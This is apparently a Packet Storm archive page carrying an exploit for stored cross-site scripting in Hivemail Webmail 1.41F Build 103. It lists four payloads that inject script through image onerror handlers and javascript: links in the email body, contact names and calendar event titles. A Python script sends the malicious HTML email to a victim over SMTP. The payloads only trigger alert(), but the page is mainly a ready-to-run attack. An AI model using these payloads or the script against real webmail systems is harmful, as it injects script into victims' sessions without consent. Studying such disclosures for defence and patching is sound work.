exploit the possibilities

Hivemail Webmail 1.41F Build 103 Cross Site Scripting

Hivemail Webmail 1.41F Build 103 Cross Site Scripting
Posted Aug 18, 2012
Authored by Shai rod

Hivemail Webmail version 1.41F Build 103 suffers from a stored cross site scripting vulnerability.

tags | exploit, xss
MD5 | 55ddc5ffd628ef9657d83e1c7dfcaa0f

Hivemail Webmail 1.41F Build 103 Cross Site Scripting

Change Mirror Download
#!/usr/bin/python


'''

# Exploit Title: Hivemail Webmail Multiple Stored XSS issues
# Date: 16/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.hivemail.com/
# Software Link: http://www.hivemail.com/data/HM_1_41F_103.rar
# Version: 1.41F Build 103

#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


Vulnerability Description
=========================

1. Stored XSS in email body.

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>

Send an email to the victim with the payload in the message body.
XSS Will be triggered when victim opens the message.


2. Stored XSS in e-mail body (HREF).

XSS Payload: <a href=javascript:alert("AnotherXSS")>Click Me</a>

Send an email to the victim with the payload in the email body, once the user clicks on the link the XSS should be triggered.


3. Stored XSS in contacts.

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>


Create a new contact with the XSS payload in the contact name field, XSS will be triggered each time user view his contacts.


4. Stored XSS in calendar.

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>

Create a new event and in the event title insert your XSS payload, XSS will be triggered when you view your calendar.


'''


import smtplib

print "###############################################"
print "# Hivemail Webmail 1.41F StoredXSS #"
print "# Coded by: Shai rod #"
print "# @NightRang3r #"
print "# http://exploit.co.il #"
print "# For Educational Purposes Only! #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server = "localhost"
smtp_port = 25
subject = "Hivemail Webmail XSS POC"
xss_payload = """<img src='1.jpg'onerror=javascript:alert("XSS")>"""

# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: " + xss_payload + "%s\r\nTo: %s\r\nSubject: %s\n"
% (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += xss_payload
msg += """<a href=javascript:alert("XSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    10 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    0 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close